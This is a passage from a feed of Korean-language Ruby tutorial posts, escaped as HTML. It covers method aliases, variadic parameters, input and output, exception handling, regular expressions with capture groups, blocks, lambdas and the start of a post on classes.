&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;mtd&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;mtd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ruby"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 메서드 별칭 (alias)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;oldmtd&lt;/span&gt;
  &lt;span class="s2"&gt;"old method"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;alias&lt;/span&gt; &lt;span class="n"&gt;newmtd&lt;/span&gt; &lt;span class="n"&gt;oldmtd&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;oldmtd&lt;/span&gt;
  &lt;span class="s2"&gt;"old improved method"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;oldmtd&lt;/span&gt;   &lt;span class="c1"&gt;# "old improved method"&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;newmtd&lt;/span&gt;   &lt;span class="c1"&gt;# "old method"&lt;/span&gt;

&lt;span class="c1"&gt;# 가변 파라미터&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;my_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;my_string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inspect&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hello'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'world'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  연산자
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# || 또는 or&lt;/span&gt;
&lt;span class="vi"&gt;@var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="vi"&gt;@var&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s2"&gt;"first"&lt;/span&gt;
&lt;span class="vi"&gt;@var&lt;/span&gt; &lt;span class="o"&gt;||=&lt;/span&gt; &lt;span class="s2"&gt;"second"&lt;/span&gt;  &lt;span class="c1"&gt;# var이 없거나 false이면 "second" 사용&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  입력
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 명령줄 인자&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;ARGV&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;

&lt;span class="c1"&gt;# 사용자 입력&lt;/span&gt;
&lt;span class="n"&gt;city&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chomp&lt;/span&gt;  &lt;span class="c1"&gt;# chomp는 개행문자 제거&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"The city is "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  출력
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Hello'&lt;/span&gt;  &lt;span class="c1"&gt;# put string (줄바꿈 포함)&lt;/span&gt;
&lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s1"&gt;'hello'&lt;/span&gt;     &lt;span class="c1"&gt;# 구조를 출력&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;'hi'&lt;/span&gt;    &lt;span class="c1"&gt;# 줄바꿈 없음&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  랜덤
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-basics.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>basics</category>
      <category>syntax</category>
    </item>
    <item>
      <title>Ruby 예외 처리와 정규 표현식</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:42:16 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-yeoe-ceoriwa-jeonggyu-pyohyeonsig-3ggj</link>
      <guid>https://forem.com/dss99911/ruby-yeoe-ceoriwa-jeonggyu-pyohyeonsig-3ggj</guid>
      <description>&lt;p&gt;Ruby의 예외 처리와 정규 표현식 사용법에 대해 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  예외 처리
&lt;/h2&gt;

&lt;h3&gt;
  
  
  raise (예외 발생)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;raise_exception&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am before the raise.'&lt;/span&gt;
  &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="s1"&gt;'An error has occured'&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am after the raise'&lt;/span&gt;  &lt;span class="c1"&gt;# 실행되지 않음&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;raise_exception&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  begin/rescue (try/catch)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;raise_and_rescue&lt;/span&gt;
  &lt;span class="k"&gt;begin&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am before the raise.'&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="s1"&gt;'An error has occured.'&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am after the raise.'&lt;/span&gt;
  &lt;span class="k"&gt;rescue&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am rescued.'&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'I am after the begin block.'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;raise_and_rescue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  여러 예외 타입 처리
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;begin&lt;/span&gt;
  &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="no"&gt;OneTypeOfException&lt;/span&gt;
  &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="no"&gt;AnotherTypeOfException&lt;/span&gt;
  &lt;span class="c1"&gt;# ...&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
  &lt;span class="c1"&gt;# 다른 예외들&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  예외 정보 얻기
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;begin&lt;/span&gt;
  &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="s1"&gt;'A test exception.'&lt;/span&gt;
&lt;span class="k"&gt;rescue&lt;/span&gt; &lt;span class="no"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;message&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;backtrace&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inspect&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  정규 표현식 (Regex)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  기본 사용법
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;m1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/Ruby/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"The future is Ruby"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;m1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;  &lt;span class="c1"&gt;# MatchData&lt;/span&gt;

&lt;span class="n"&gt;m2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"The future is Ruby"&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;/Ruby/&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;m2&lt;/span&gt;        &lt;span class="c1"&gt;# 14 (매칭 시작 위치)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  캡처 그룹
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"My phone number is (123) 555-1234."&lt;/span&gt;
&lt;span class="n"&gt;phone_re&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/\((\d{3})\)\s+(\d{3})-(\d{4})/&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;phone_re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"There was no match..."&lt;/span&gt;
  &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"The whole string we started with: "&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"The entire part of the string that matched: "&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"The three captures: "&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;times&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Capture #&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;captures&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Here's another way to get at the first capture:"&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s2"&gt;"Capture #1: "&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-exception-regex.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>exception</category>
      <category>regex</category>
    </item>
    <item>
      <title>Ruby 블록과 Lambda</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:42:01 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-beulroggwa-lambda-1bcc</link>
      <guid>https://forem.com/dss99911/ruby-beulroggwa-lambda-1bcc</guid>
      <description>&lt;p&gt;Ruby의 블록(Block)과 Lambda에 대해 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  블록 (Blocks)
&lt;/h2&gt;

&lt;p&gt;블록은 메서드 호출과 함께 코드 블록을 전달하는 방법입니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  기본 사용법
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;call_block&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Start of method'&lt;/span&gt;
  &lt;span class="k"&gt;yield&lt;/span&gt;
  &lt;span class="k"&gt;yield&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'End of method'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;call_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'In the block'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  파라미터가 있는 블록
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;call_block&lt;/span&gt;
  &lt;span class="k"&gt;yield&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'hello'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;call_block&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  블록 존재 여부 확인
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;try&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;block_given?&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"no block"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;try&lt;/span&gt;                        &lt;span class="c1"&gt;# "no block"&lt;/span&gt;
&lt;span class="n"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;       &lt;span class="c1"&gt;# "hello"&lt;/span&gt;
&lt;span class="n"&gt;try&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;    &lt;span class="c1"&gt;# "hello"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  블록을 통한 반복
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;times&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"x inside the block: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"x outside the block: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Lambda
&lt;/h2&gt;

&lt;p&gt;Lambda는 익명 함수를 만드는 방법입니다.&lt;/p&gt;

&lt;h3&gt;
  
  
  기본 사용법
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;prc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;lambda&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Hello'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;prc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;

&lt;span class="c1"&gt;# 여러 줄 Lambda&lt;/span&gt;
&lt;span class="n"&gt;toast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;lambda&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="s1"&gt;'Cheers'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;toast&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lambda를 메서드 파라미터로 전달
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;some_mtd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;some_proc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Start of mtd'&lt;/span&gt;
  &lt;span class="n"&gt;some_proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'End of mtd'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;say&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;lambda&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Hello'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;some_mtd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;say&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  파라미터가 있는 Lambda
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;a_Block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;lambda&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;"Hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;!"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;a_Block&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'World'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# "Hello World!"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-blocks-lambda.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>blocks</category>
      <category>lambda</category>
    </item>
    <item>
      <title>Ruby 클래스와 객체지향 프로그래밍</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:41:45 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-keulraeseuwa-gaegcejihyang-peurogeuraeming-4pf9</link>
      <guid>https://forem.com/dss99911/ruby-keulraeseuwa-gaegcejihyang-peurogeuraeming-4pf9</guid>
      <description>&lt;p&gt;Ruby의 클래스와 객체지향 프로그래밍에 대해 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  기본 클래스
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Test&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="ss"&gt;:Test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="ss"&gt;:test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;
    &lt;span class="vi"&gt;@test&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="ss"&gt;:test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
